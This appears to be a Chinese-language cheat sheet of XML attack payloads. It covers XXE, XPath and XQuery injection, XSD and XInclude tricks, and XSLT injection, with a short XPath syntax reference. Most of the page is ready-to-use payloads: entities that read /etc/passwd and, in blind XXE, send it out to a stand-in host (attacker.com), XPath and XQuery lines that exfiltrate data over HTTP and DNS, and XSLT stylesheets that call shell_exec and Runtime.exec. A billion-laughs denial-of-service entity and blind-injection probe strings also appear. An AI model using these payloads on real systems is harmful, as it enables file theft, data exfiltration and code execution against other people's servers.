0%

XXE CheatSheet

简介

XXE(XML External Entity, XML 外部实体),在一个 XML 文档中,攻击者可以直接控制 DTD 中 XML 实体的定义,引用外部实体,导致 SSRF。

使用 XML 的地方有:

  • 文档格式 OOXML, ODF, PDF, RSS, DOCX…
  • 图片格式 SVG, EXIF Headers…
  • 配置文件
  • 网络协议 WebDAV, CalDAV, XMLRPC, SOAP, REST, XMPP, SAML, XACML…

XXE 特征:

  • PHP: simplexml_load_file, xml_parse, simplexml_load_string
  • Java: DOM, SAX, JDOM, DOM4J
  • Python: SAX, DOM, ElementTree

在某些 xml 解析器中,尽管禁用了外部实体,但是解析器会在 DTD 定义阶段就对 URL 进行请求,但是不会展开该实体。
libxml2.9.0 后默认不解析外部实体。
simplexml_load_file 旧版本默认解析外部实体,新版本要指定第三個参数 LIBXML_NOENT

XXE 有以下几种利用方法(以文件读取为例)。

普通实体

引用外部普通实体。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>

<!DOCTYPE a[
<!ELEMENT b (#CDATA)>
<!ENTITY c SYSTEM "file:///etc/passwd">
]>

<a><b>&c;</b></a>

注意:元素类型主要有 PCDATA 和 CDATA 两种,PCDATA 中的文本会被当成 XML 解析,CDATA 中的文本则不会。定义 b 为 CDATA 来避免 &c; 中出现特殊字符导致 XML 解析器解析失败而报错。
XML 中有 5 个预定义的实体:&lt;,&gt;,&amp;,&apos; 和 &quot;,分别替换 < > & ‘和”。字符实体也可以直接通过 Ascii 码使用,例如 % 的实体为 &#x25;。

当要读取的文件中存在一些复杂的字符(例如/etc/fstab),可能会引起 xml 解析器报错时,可以使用参数实体拼接绕过,如下所示。

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>

<!DOCTYPE a[
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY all "%start;%goodies;%end;">
]>

<a>&all;</a>

参数实体外部 DTD

利用参数实体引用外部 DTD 文件。

注意:参数实体只能在 DTD 中引用,不能在声明前引用,也不能在实体声明内部引用。

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>

<!DOCTYPE a[
<!ELEMENT b (#CDATA)>
<!ENTITY % c SYSTEM "http://attacker.com/evil.dtd">
%c;
]>

<a><b>&d;</b></a>

其中 evil.dtd 的内容如下。

1
<!ENTITY d SYSTEM "file:///etc/passwd">

普通实体外部 DTD

通过普通实体引用外部 DTD 文件。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>

<!DOCTYPE a[
<!ELEMENT b (#CDATA)>
<!ENTITY c SYSTEM "http://attacker.com/evil.dtd">
]>

<a><b>&d;</b></a>

其中 evil.dtd 的内容如下。

1
<!ENTITY d SYSTEM "file:///etc/passwd">

Payload

DOS

通过定义数量巨大的实体可以造成 DOS 攻击。

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>

<!DOCTYPE a [
<!ELEMENT a (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>

<a>&a2;</a>

a2 会被扩展为很多 a1,每个 a1 又会被扩展为很多 a0,这样的嵌套扩展会严重拖慢 XML 解析器的速度。

SSRF

外部实体引用可以访问一个 URL,造成 SSRF,通过 SSRF 可以读取文件,攻击内网等。

1
2
3
4
5
6
7
8
9

<?xml version="1.0"?>

<!DOCTYPE a [
<!ELEMENT a (#ANY)>
<!ENTITY b SYSTEM "http://a.com/">
]>

<a>&b;</a>

XXE 盲注

无回显的情况下可以将数据通过 HTTP 发送到远程服务器。

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>

<!DOCTYPE root[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
%send;
]>

其中 evil.dtd 的内容如下。

1
2
<!ENTITY &#x25; payload "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>"> 
%payload;

注意要将 % 实体编码为 &#x25;

攻击流程:

  1. 首先展开%remote;,请求远程服务器中的evil.dtd
  2. 展开 evil.dtd 中的%payload;
  3. 展开 evil.dtd 中的%send;
  4. 展开 %send; 中的%file;,读取文件。
  5. 最后调用 %send;,将展开的%file; 发送到远程服务器中。

在 PHP 环境下可以将数据通过 base64 编码(利用 filter)通过 url 发送到远程服务器以避免 url 坏字符。

报错注入

类似 SQL 注入的报错注入,XXE 也可以通过报错注入返回一些额外信息,如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?> 

<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>

<message>a</message>

以下 Payload 可能也会引起 XML 解析器错误:

  • <!ENTITY % trick "<!ENTITY err SYSTEM 'file:///some'%pay; gif>"> %trick;
  • <!ENTITY % trick "<!ENTITY :%pay;>"> %trick;
  • <!ENTITY % trick "<!ENTITY &#37; err SYSTEM '%pay;'>"> %trick; %err;
  • <!ENTITY % trick "<!ENTITY :%pay;>"> %trick;
  • <!ENTITY % trick "<!ENTITY &#37; err SYSTEM '%pay;'>"> %trick; %err;
  • <!ENTITY % trick "<!ENTITY &#37; err SYSTEM 'http%pay;:/127.0.0.1/'>"> %trick; %err;
  • <!DOCTYPE html [<!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo;]>

SOAP

1
2
3
4
5
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>

其他 Payload

绕过

  • 可以用 PUBLIC 代替 SYSTEM,二者完全等价。
  • 修改文档编码格式,例如 UTF-7UTF-16等。

其他绕过方法:

1
2
3
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

XML 注入

类似 XSS 中的闭合标签 / 引号。程序将用户输入直接拼接到一个 XML 文档中时,可以通过闭合标签 / 引号的方式注入新的 XML 数据,控制 XML 文档。

XPath 注入

SQL 语言是为了从 SQL 数据库中获取数据而产生的语言,同样为了从 XML 文档中获取数据,产生了 XPath 查询语言。类似 SQL 注入,程序将用户输入直接拼接到一个 XPath 查询语句中,造成 XPath 注入,可以获取 XML 文档的数据,甚至控制 XML 文档。

例如有一个查询语句 /root/users/user[username/text()='attacker' and password/text()='yyyy'],若攻击者将attacker 替换为' or 1=1 or ''=',那么查询语句就变成了/root/users/user[username/text()='' or 1=1 or ''='' and password/text()='yyyy']。该查询语句将一直返回 true,导致查询出所有的 user 信息,由于 XPath 不像 SQL 注入有很多访问控制,XPath 的注入没有太多的限制。

盲注

布尔盲注

在无回显的情况下,XPath 也可以盲注。首先需要获取某个节点下子节点的数量。

1
2
3
4
5
' or count(/*) = 1 or '1' = '2
' or count(/*) = 2 or '1' = '2
' or count(/*) = 3 or '1' = '2
' or count(/*) = 4 or '1' = '2
...

之后爆破出该节点的名字。

1
2
3
4
5
' or substring(name(/*[position() = 1]),1,1)='a' or '1'='2
' or substring(name(/*[position() = 1]),1,1)='b' or '1'='2
' or substring(name(/*[position() = 1]),1,1)='c' or '1'='2
' or substring(name(/*[position() = 1]),1,1)='d' or '1'='2
...

利用同样的方法也可以爆破出节点的属性。

HTTP 外带

在 XPath 2.0 中,提供一个 doc 函数,该函数可以从 web 服务器中请求一个 xml 文档,利用这个 HTTP 请求,可以将数据外带到 web 服务器中。下面的 payload 可以将根节点的名字外带到 web 服务器中。

1
' or doc(concat("http://attacker.com/?data=", encode-foruri(/*[1]/name()))) or '1'='2

DNS 外带

同样可以利用 DNS 外带数据,下面的 payload 可以将根节点的名字外带到 DNS 服务器中。

1
' or doc(concat(encode-foruri(/*[1]/name()), '.attacker.com')) or '1'='2

常用函数

  • count(/root/*) 获取 root 节点下所有子节点的数量。
  • string-length(/*[1]/*[1]/name()) 获取第一个节点下第一个节点的名字的长度。
  • substring(/*[1]/*[1]/name(), 1, 1) 截取第一个节点下第一个节点的名字的第一个字符。
  • lower-case("A") = "a" 用于判断 XPath 版本,此函数在 2.0 中才加入。
  • base-uri() 返回该 XML 文档文件的位置,XPath 2.0 加入。
  • /root/a/text() 获取 root 节点下 a 节点的文本内容。
  • matches(/*[1]/name(), '[A-Z]+') 通过正则表达式验证。
  • string-to-codepoints("abc") 将字符串转换为 Ascii 码(97, 98, 99)。
  • (if 1 then 1 else 0) 条件表达式,可用于布尔盲注。
  • concat('a', 'b') 字符串链接。
  • doc(‘http://attacker.com/a.xml’) 从 web 服务器上读取一个 xml 文档,XPath 2.0 加入。此功能不是默认启用,并且 URI 若不是 xml 文档会报错。
  • encode-foruri('abc') URL 编码,XPath 2.0 加入。

XPath 语法速查

更多 XPath 知识,参考w3school

节点类型

XPath 中将 XML 节点分为以下几种类型:

  • element 元素 / 节点
  • attribute 属性
  • text 文本
  • namespace 命名空间
  • processing-instruction 处理指令
  • comment 注释
  • root 根节点

表达式

XPath 通过表达式选取 XML 节点,常用表达式如下:

  • nodename 选取此节点的所有子节点
  • / 从根节点选取
  • // 从匹配选择的当前节点选择文档中的节点,不考虑它们的位置
  • . 选取当前节点
  • .. 选取当前节点的父节点
  • @ 选取属性

例如:

  • bookstore 选取 bookstore 元素所有的子节点
  • /bookstore 选取根节点 bookstore
  • bookstore/book 选取 bookstore 节点下所有子节点中的 book 节点
  • //book 选取所有的 book 节点,不论在文档中的位置在哪
  • bookstore//book 选取 bookstore 节点中所有后代节点中的 book 节点
  • //@lang 选取名为 lang 的所有属性

限定语

通过限定语可以选取某个具体的节点,限定语跟在节点后,包裹在方括号中,例如:

  • /bookstore/book[1] 选取属于 bookstore 子节点中的第一个 book 节点
  • /bookstore/book[last()] 选取属于 bookstore 子节点中的最后一个 book 节点
  • //title[@lang] 选取所有拥有名为 lang 的属性的 title 节点
  • //title[@lang='eng'] 选取所有 title 节点,且这些节点拥有值为 eng 的 lang 属性
  • /bookstore/book[price>3.500]/title 选取 bookstore 节点中的 book 节点的所有 title 节点,且其中的 price 节点的值须大于 35.00

通配符

XPath 支持部分通配符选择元素:

  • * 匹配任意节点
  • @* 匹配任意属性节点

例如:

  • /bookstore/* 选择 bookstore 节点下的所有子节点
  • //* 选择文档中所有节点
  • //title[@*] 选择所有带有属性的节点

多路径查询

XPath 支持使用| 进行多路径查询,例如:

  • //book/title | //book/price 选择 book 节点下的所有 title 和 price 节点
  • bookstore/book/title | //price 选择属于 bookstore 节点的 book 节点下的所有 title 节点以及文档中所有 price 节点

XQuery 注入

XQuery 是 XPath 的超集,XQuery 可以赋予 XPath 逻辑编程能力,例如下面的代码会遍历每一个从users 中查询出的节点,并且返回该节点下的 username 节点。

1
for $user in //users[@role='admin'] return $user/username

若上述查询中,admin字符串可控,那么就可以注入 XPath 查询甚至 XQuery 代码,下面的代码利用doc,循环便利整个 xml 文档,将所有整个文档发送到攻击者的服务器中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for $n in /*[1]/*
let $x := for $att in $n/@* return(concat(name($att), "=", encode-for-uri($att)))
let $y := doc(concat(
"http://attacker.com/?name=", encode-for-uri(name($n)),
"&amp;data=", encode-for-uri($n/text()),
"&amp;attr_", string-join($x,"&amp;attr_")
))

for $c in $n/child::*
let $x := for $att in $c/@* return(concat(name($c), "=", encode-for-uri($c)))
let $y := doc(concat(
"http://attacker.com/?child=1&amp;name=", encode-for-uri(name($c)),
"&amp;data=", encode-for-uri($c/text()),
"&amp;attr_", string-join($x,"&amp;attr_")
))

Exist-DB 是一个类似 SQLite 的本地 xml 数据库,可以通过 XQuery 进行查询。不同于其他数据库,Exist-DB 使用 HTTP 接口进行查询,例如 REST, XML-RPC, WebDAV 和 SOAP。更多 XQuery 知识,参考w3school

XSD 注入

XSD (XML Schema Definition) 是一种用来描述 XML 文档元素的定义方法,可以用来代替 DTD,比 DTD 更加强大,功能也更多。更多 XSD 知识,请参考w3school

XSD schemaLocation

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version ="1.0" encoding="UTF-8"?>


<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>

<ttt:data
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://attacker.com/attack"
xsi:schemaLocation="ttt http://attacker.com/&internal;">4</ttt:data>

其中 evil.dtd 中的内容为:

1
2
3
<!ENTITY % payload SYSTEM “file:///etc/passwd”>
<!ENTITY % param1 “<!ENTITY internal ‘%payload;’>”>
%param1;

XSD noNamespaceSchemaLocation

1
2
3
4
5
6
7
8
9
10
11
<?xml version ="1.0" encoding="UTF-8"?>

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>

<data
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:noNamespaceSchemaLocation=”http://attacker.com/&internal;”>
</data>

其中 evil.dtd 中的内容为:

1
2
3
<!ENTITY % payload SYSTEM “file:///etc/passwd”>
<!ENTITY % param1 “<!ENTITY internal ‘%payload;’>”>
%param1;

XSD Include/import

1
2
3
4
5
6
<?xml version ="1.0" encoding="UTF-8"?>

<xs:schema elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:myNS="myNS">
<xs:import namespace="myNS" schemaLocation="http://attacker.com/evil.xsd"/>
<xs:include namespace="myNS2" schemaLocation="http://attacker.com/evil.xsd"/>
</xs:schema>

XInclude

XInclude 需要手动开启。

1
2
3
4
5
6
7
8
9
10
11
<?xml version ="1.0" encoding="UTF-8"?>

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>

<data
xmlns:xi=”http://www.w3.org/2001/XInclude”>
<xi:include href=”http://attacker.com/&internal;” parse=”text”></xi:include>
</data>

其中 evil.dtd 中的内容为:

1
2
3
<!ENTITY % payload SYSTEM “file:///etc/passwd”>
<!ENTITY % param1 “<!ENTITY internal ‘%payload;’>”>
%param1;

XSD 报错

1
2
3
4
5
<?xml version ="1.0" encoding="UTF-8"?>

<xs:restriction base="xs:string">
<xs:pattern value="&xxe;" />
</xs:restriction>

XSLT 注入

XSLT (EXtensible Stylesheet Language Transform),是一种扩展样式表转换语言,可以将 XML 转换为其他类型的语言。更多 XSLT 知识,请参考w3school

获取 XSLT 信息

1
2
3
4
5
6
7
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:template match="/">
XSLT Version: <xsl:value-of select="system-property('xsl:version')" />
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
XSLT Vendor URL: <xsl:value-of select="system-property('xsl:version-url')" />
</xsl:template>

XSLT Stylesheet

1
2
3
4
<?xml version ="1.0" encoding="UTF-8"?>

<?xml-stylesheet type="text/xsl" href="http://attacker.com/evil.xsl"?>
<doc></doc>

XSLT Include/import

1
2
3
4
5
6
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:import href="http://attacker.com/evil.xsl"/>
<xsl:include href="http://attacker.com/evil.xsl"/>
</xsl:stylesheet>

XSLT 读取文件

可读取合法的 xml 文件,或者普通文件的第一行

1
2
3
4
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:value-of select="document('test.xml')" />
<xsl:value-of select="document('file:///secret.txt')" />

将读取到的文件发送到远程服务器中:

1
2
3
4
5
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:variable name="name1" select="document('file:///etc/passwd')" />
<xsl:variable name="name2" select="concat('http://attacker.com/?', $name1)" />
<xsl:variable name="name3" select="document($name2)" />

XSLT RCE

libxslt + php 环境:

1
2
3
4
5
6
7
8
9
10
11
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">

<xsl:output method="html" />
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec', 'sleep 10')" />
</xsl:template>
</xsl:stylesheet>

Xalan-Java 环境:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version ="1.0" encoding="UTF-8"?>

xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process"

<xsl:variable name="rtobject" select="runtime:getRuntime()" />
<xsl:variable name="process" select="runtime:exec($rtobject, 'sleep 5')" />
<xsl:variable name="waiting" select="process:waitFor($process)" />
<xsl:value-of select="$process" />

<xsl:variable name="osversion" select="jv:java.lang.System.getProperty('oname')"/>
<xsl:value-of select="$osversion" />

Xalan 环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:jv="http://xml.apache.org/xalan/java"
exclude-result-prefixes="jv" version="1.0">
<xsl:template match="/">
<root>
<xsl:variable name="osversion" select="jv:java.lang.System.getProperty('os.name')"/>
<xsl:value-of select="$osversion" />
</root>
</xsl:template>
</xsl:stylesheet>

Saxon EE 环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"
xmlns:date="java:java.util.Date" xmlns:runtime="java:java.lang.Runtime" xmlns:process="java:java.lang.Process">

<xsl:output method="text" />
<xsl:template match="/">
Date: <xsl:value-of select="date:new()" />
<xsl:variable name="rtobject" select="runtime:getRuntime()" />
<xsl:variable name="process" select="runtime:exec($rtobject, 'sleep 5')" />
<xsl:variable name="waiting" select="process:waitFor($process)" />
<xsl:value-of select="$process" />
</xsl:template>
</xsl:stylesheet>

XSLT 连接数据库

Xalan-Java 环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:param name="driver" select= "'com.mysql.jdbc.Driver'" />
<xsl:param name="dbUrl" select="'jdbc:mysql://localhost/xslt'" />
<xsl:param name="user" select="'xsltuser'" />
<xsl:param name="pw" select="'xsltpw'" />
<xsl:param name="query" select="'select test from xtable'" />

<xsl:template match="/">
<xsl:variable name="dbc" select="sql:new($driver, $dbUrl , $user, $pw)" />
<xsl:variable name="table" select="sql:query($dbc, $query)" />
<xsl:value-of select="$table/*" />
<xsl:value-of select="sql:close($dbc)" />
</xsl:template>

XSLT 写入文件

若写入成功,则无任何输出,写入失败则报错。

Saxon 环境:

1
2
3
4
5
6
7
<?xml version ="1.0" encoding="UTF-8"?>

<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Hello World to local file.</xsl:text>
</xsl:result-document>
</xsl:template>

Xalan-Java 环境:

1
2
3
4
5
<xsl:template match="/">
<redirect:open href="local_file.txt" />
<redirect:write href="local_file.txt">Hello world to local file.</redirect:open>
<redirect:close href="local_file.txt" />
</xsl:template>

libxslt 环境:

1
2
3
4
5
<xsl:template match="/">
<exsl:document href="local_file.txt">
<xsl:text>Hello World to local file.</xsl:text>
</exsl:document>
</xsl:template>

Saxon PE/Saxon EE 环境:

1
2
3
4
5
<xsl:variable name="file" as="xs:string" select="'local_file.txt'" />
<xsl:variable name="text" as="xs:string" select="'Hello World to local file.'" />
<xsl:template match="/">
<xsl:sequence select="file:append-text($file, $text)" />
</xsl:template>

其他可以写入文件的函数有file:append-text(), file:move(), file:copy(), file:delete(), file:exists(), file:is-file(), file:is-dir(), file:read(), file:write()